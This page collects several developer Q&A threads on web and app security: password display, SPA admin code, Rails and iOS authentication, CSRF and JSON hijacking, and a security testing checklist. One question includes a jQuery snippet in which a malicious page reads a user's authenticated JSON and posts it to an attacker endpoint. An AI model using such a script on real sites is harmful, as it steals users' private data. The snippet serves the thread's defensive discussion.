I have most of my MVC 4 web application ready. I have even developed the password auto-generation algorithm. Now I am stuck as to how to show this password to the user.
The controller handling the Sign Up process is the one that will generate the password by calling a method from the PasswordGenerator class. I want to show this to the user in a message box using some jQuery.
I've tried passing it through TempData and ViewBag but the password can be seen in the HTML code sent over the internet. Is there anyway to do this securely without showing the password over the internet?
FYI, sending an email with the password is not an option. This is a class project, not intended for something of that magnitude.
Any help would be appreciated.
For starters, there's nothing special about jQuery, TempData, or ViewBag that's useful to you here. Anything you send over the internet gets, you know, sent over the internet. If an attacker has control of your user's network, then they can intercept a javascript->WebApi call or an email more-or-less as easily as they can intercept an HTML page.
More generally, you should be aware of the trade-offs between security, usability, and development cost. By-and-large there is no such thing as "secure". There are threats you can mitigate and specific attacks you can and should defend against, but there's also a level of risk you can accept depending on the nature of your service.
So, what can we do in this situation:-
The most obvious action to take (and the only one I would truly recommend in your case) is to enable SSL. This secures your transport layer against most snooping with no practical drawbacks. Any time you send sensitive data over the internet, you should use SSL. Some would argue you should use SSL always.
You can mitigate over-the-shoulder-type snooping by hiding the password using javascript, and having the user perform some action to "uncover" it (such as hovering the mouse pointer over a target, or pressing a button). Beware that some of your users may be inexperienced, disabled, or using a mobile device. If I were assessing you, I would care far more that you were "being careful" about accessibility than about hand-rolling your own security hacks!
You can mitigate computer-left-unlocked attacks somewhat by timing out the user's session. You'll see this used frequently with internet banking. Be aware that this also has a usability cost - in particular I would be concerned about timing a user out while they're looking for a pen and a post-it to write down the password you generated for them!
A tangential note:- Storing passwords properly is hard, and storing passwords improperly can be disastrous. Make sure you're doing it correctly! At your level of experience, I would strongly advise against rolling your own password storage system unless your assessor has specifically asked you to. Furthermore, having the server generate passwords for end users to remember is quite controversial. If you haven't been specifically asked for it, you should consider whether it is the right approach and make sure you justify it. For something of this scale, you may want to look into some kind of federated authentication (e.g. "sign in with your google account") instead of handling passwords at all.
Related
When building a single page application, in my example with Backbone w/ Marionette, how does one approach administrative/super user sections of code. For example if I build a site that has an admin section that can delete users, manage account details from a financial perspective, etc, technically an attacker can view the code. Additionally an attacker could see the precompiled templates from a visual standpoint. While I understand you can compress the code/obfuscate , that really isn't a solution. Is this just something that's considered a pitfall when developing SPA's? IE one just needs to make absolutely sure the API is secure, etc. If something isn't secure, essentially a roadmap is already provided to a potential attacker...
Well code for the interface really isn't important: it's javascript anyway, so a malicious user could build his own, or simply generate the required API calls.
In addition, the only thing you'd be giving a "roadmap" for is API endpoints, which tend to be easy to guess (e.g. managing users usually goes through the "users" endpoint). In addition, these endpoints are often known: a user could edit his own account by hitting the "users" endpoint, while an admin could edit all users. The API call would be the same (or very similar) and the credentials/authorization would be verified on the server (which, theoretically, the attacker wouldn't have access to).
Your question is close to "how do I achieve security by obscurity?". I know that's not what you're asking, but its not far off. There shouldn't be an issue with an attacker being able to see the admin code path or API calls, because there shouldn't be anything special about them.
But as you said in your question, you absolutely MUST validate/authorize everything on the server. If you don't treat all data coming from the user as hostile or tampered with, you'll have a bad time...
Hope this helps!
I've been working on the development of an Android app in my spare time for several months now. I've done all of my planning for the on-device side (except for server-side interaction), but I've been met with a very steep learning curve for the on-server side implementation. I've researched for about a month with no real leads. Consequently, I'm really at a dead end. The app that I'm working on included these minimal requirements:
Must offer account creation/authentication to the server from the
device
Must maintain some sort of session that allows the user authorization
to make changes that will impact only the on-server user data within the context of the account that they are logged in to.
The ability to log out/be logged out by the server under certain conditions.
A web interface will not be necessary, as this service is only to be consumed by Android devices.
I've decided that a Rails implementation is the most desirable option for me. My experience with Rails and servers in general is very limited. A friend recommended that I read though "Agile Web Development with Rails" in order to get up to speed. I made it through enough of the Depot Application demo in order to understand ORM libraries, the MVC pattern, and scaffolding, but then I got fed up with the way that the book presents the information. Everything is very sequential, and the authors seem to omit a lot of the "how", saying that they'll explain later, and to just not worry about it until that point. That's not the way I learn. I digress.
So far I've used scaffolding in Rails to generate a model, view, and a controller for an Accounts table. I've set up attributes for a username, password, session_key (a randomly generated key that the user should receive and use to connect from their device after login), etc using scaffolding. I am validating the username and session_key to ensure that they're unique, and my alphanumeric key generation is working properly (all of which is done in the model).
Now I'd like to focus on managing sessions in a restful manner. I know that I'll need to implement this by having Android devices pass their user's session key to the server when making HTTP requests and accessing resources etc., but other than that I'm at a loss.
I'm looking for someone to provide me with a good resource (or explanation) outlining how HTTP requests and responses work in general, how JSON information can be received and parsed using a request, and how to otherwise manage restful authorization (assuming that the user has already been assigned their session key). If my approach isn't quite right, please let me know what you would suggest.
Thanks!
For authentication, you might want to check out: http://railscasts.com/episodes/250-authentication-from-scratch You'll basically just be performing the authentication using the session_key. There are other more complicated things you might do, and you could check out authlogic, devise, sorcery, etc. to see how they implement keeping sessions alive. Since you need log outs, and presumably the need to log back in, I would suggest looking into using the session key you describe as the master authentication and then have a perishable key of some sort that gets reset after every request and sent back to the client as a keepalive. Depending on your ultimate needs, that might be enough security and functionality.
For JSON receiving, rails has built-in parsing. Look into respond_to. For sending back JSON, you can use any number of methods. The most basic is to just allow rails to automatically convert the JSON (which happens when respond_with is used, as in the link). You could also build out presenter classes or use something a little more formal like rabl.
In my game app, running from iPhone/iPad to a central server that I control via TCP, I need to send login information.
What I currently do is send a LOGIN opcode with ascii bytes for login and password in the clear. I don't want to send user's passwords in the clear - they could be on a wifi connection for example.
How can I handle encryption of this? Here are my requirements:
I don't want to use a 3rd party lib, I will if absolutely necessary. If necessary it has to be BSD license or similar
What's the impact of me answering "yes" on "does your App have cryptography in it" to the App store
I want this app to be available in every country
Is it acceptable to, locally on the device, hash the password, and send that cached value only? The user's account could be compromised by the hash being stolen, but the password wouldn't be lost (and I wouldn't be storing their passwords)..
I can't have some kind of OAuth out-of-the-app setup system done as I've experienced before, it's too invasive
I'm sort of at a loss here. I appreciate any good help here as this is one of the last 3 things I need to address before ending almost a year of development.. (so this isn't theoretical or premature optimizing! it has grown in to an actual issue..)
First, the obligatory: "Don't invent your own password scheme. If you aren't an expert, you will do it wrong. If you are an expert, you will do it wrong in a creative way that is horribly broken but which brokenness will be invisible until your scheme is in use by thousands"
Next, be clear about what you want to protect, and why. You mention plaintext user passwords being bad for some reason. Are you concerned that a password the user uses in a bunch of places will be leaked by your application, compromising the user's other accounts, or are you more concerned that the attacker will be able to gain access to your user's account?
My concern with what I read in the subtext of your hashing idea is that the hash that the client sends will never change (unless the password changes). This makes it a plaintext-equivalent for authentication (the attacker need only steal the hash; they can then authenticate without knowing the password). It also makes the password a little more vulnerable to brute-force attacks by someone who can see the hash.
I get the impression that you want to avoid encryption for concerns that it will limit the availability of your application. I can understand that reason.
Let's assume that a cryptographically secure hash isn't cryptography (and I don't know if it is or not, but it isn't in terms of U.S. export restrictions as far as I have read). My suggestion would be a very simple challenge-response protocol to use to verify that the user has the password (I recommend you look up "challenge-response protocol" online).
One caveat here is that I don't address getting the password to the server in the first place; just the server verifying that the user has the correct password for the account. Think of this as a general idea of how you might prevent things like replay attacks, and make life more difficult for attackers that can see the data stream:
Client: "I wish to authenticate as John Smith"
Server: "Okay 'John Smith'-claiming-person, take the current date and time (2011-09-09#12:04:33AM) and a random number I just thought up: 4bazillion, and hash them with your password. Let me know what you got."
Client:
prompts user for password
hashes
Says: "I got: gaAGRtcq4qt22332."
Server:
takes date and time and random number and hashes with password
compares data from client with calculated data
If there is a match:
Says: "Okay, you're in."
Otherwise:
Says: "Go pound sand."
TLS/SSL. Just use it. It is built into iOS.
As for encryption, yes, you will need to claim you use encryption, which will require you to get an (easy) online registration certificate from the government.
Authenticate with your service over HTTPs. You will not need to use any third party libraries. You can implement this as either a post or a get.
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.
Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?
For example:
Could a malicious website build a script like this to get our data:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?
Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.
A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.
What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).
I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.
If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.
You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.
There are tons of good papers about designing and developing for security (and even a bunch of posts on SO), but all of them seem to concentrate on what you should do.
What I'm after, however, is a think-like-a-hacker checklist. A list of simple actions you should to go through once you're done with development, to make sure the solution is secure.
(UPDATE: I'm mostly interested in a blackbox checklist - "go to a page, try this and that" kind of things, but a whitebox checklist might be of interest as well.)
Here's something I've come up with so far:
Security Blackbox Checklist
Submit incorrect/malicious data (examples here?) to make sure that input is validated for type, length, format and range by javascript.
Turn off client-side validation and repeat the step above, to make sure that
you don't only check with javascript but validate on the server side as well
input is validated on the server for type, length, format, and range
free form input is sanitized
output that includes input is encoded with HtmlEncode and UrlEncode
Insert extremely large amount of data in the query string as per http://www.example.com/foo?bar=HugeAmountOfData to make sure you constrain inputs and do boundary checks.
Visit a POST action via GET, to make sure that "form submit" actions are restricted to be POST-only.
If applicable, upload a file of incorrect size/format (huge file, empty file, executable with renamed extension, etc) to make sure uploads are handled gracefully.
(how to check from UI?) ensure that absolute URLs are used for navigation.
Access the URL as a user without correct permissions, to make sure permissions are explicitly tested via action/controller attributes.
Access the URL providing non-existing details (like non-existing product ids, items you don't have access to, etc) to make sure a correct error (404 or 403 etc) is returned.
Access the sensitive page via HTTP, to make sure it's available via HTTPS only.
Security Whitebox Checklist
Web tier.
In debug mode, break the code so that it throws an exception, to make sure it fails securely. Make sure you catch exceptions and log detailed messages but do not leak information to the client.
If applicable, make sure MVC actions, are restricted on POST/GET only, particular user role, anything else?.
Make sure POST actions are accompanied with [ValidateAntiForgeryToken] attribute to prevent Cross-Site Request Forgery attacks.
Make sure Response.Write (either directly or indirectly) is never used to display user input.
Make sure sensitive data is not passed in query strings or form fields.
Make sure your security decisions do not rely on HTTP headers info.
Service tier.
In debug mode, break the code so that it throws an exception, to make sure it fails securely. Make sure you catch exceptions and log detailed messages but do not leak information to the client.
Ensure that if updating anything in the database you operate within a transaction.
Database tier.
Ensure that retrieval stored procs don't use SELECT * but always specify the list of columns explicitly.
Ensure that update/delete stored procs operate within a transaction (via ##TRANCOUNT, etc) and explicitly commit/rollback it.
Comments? Corrections? Missing steps?
Making it a community wiki, feel free to edit as much as you like.
To add to the list:
Black: DoS attacks - employ tinyget or similar to simulate DoS attacks, see what your app does.
Black: Canonicalization attacks. Mentioned a bit, may be special focus can be on a directory traversal attack in case of downloads.
White: Usage of cookies for the sensitive info? See cookies are not used for sensitive data and are not persisted locally over the intented interval.
Black: Sniff in the temp IE/XYZ folder for cookies.
Black: Again, use scripted tinyget or try manually to see if brute force password guess would work or if you app has smart delays/denials for a password guess attacks.
Black: Do any of the attacks and see if admin is notified automatically of the attack or it is only the attacker who knows about it.
"Make sure your security decisions do not rely on HTTP headers info" - http headers are used for ntml/kerberos authentication? May be just don't use them stupidly, don't invent or rely on referer, etc?
General: Employ a commercial black/white-box security scanner, can be expensive but can be hard to do security regression tests otherwise.
Sticking mostly to MVC-specific stuff:
In ASP.NET 4, understand <%: and MvcHtmlString.
Use HTML helpers when possible instead of raw HTML as it increases the chances you'll remember to encode (the helpers do it for you)
Analyze all uses of JsonRequestBehavior.AllowGet to ensure it cannot return an array.
Don't reinvent anything security-related. Use proven, maintained, off-the-shelf implementations.
Don't leak security information in robots.txt
User credentials are validated on each request, either GET or POST or other, to confirm the user authentication
Check user authorization (after checking authentication) for each sensitive operation
Watch out output caching, especially if you implement your own membership system
Make sure you don't blindly bind form data to your model by always using TryUpdateModel<T> over TryUpdateModel.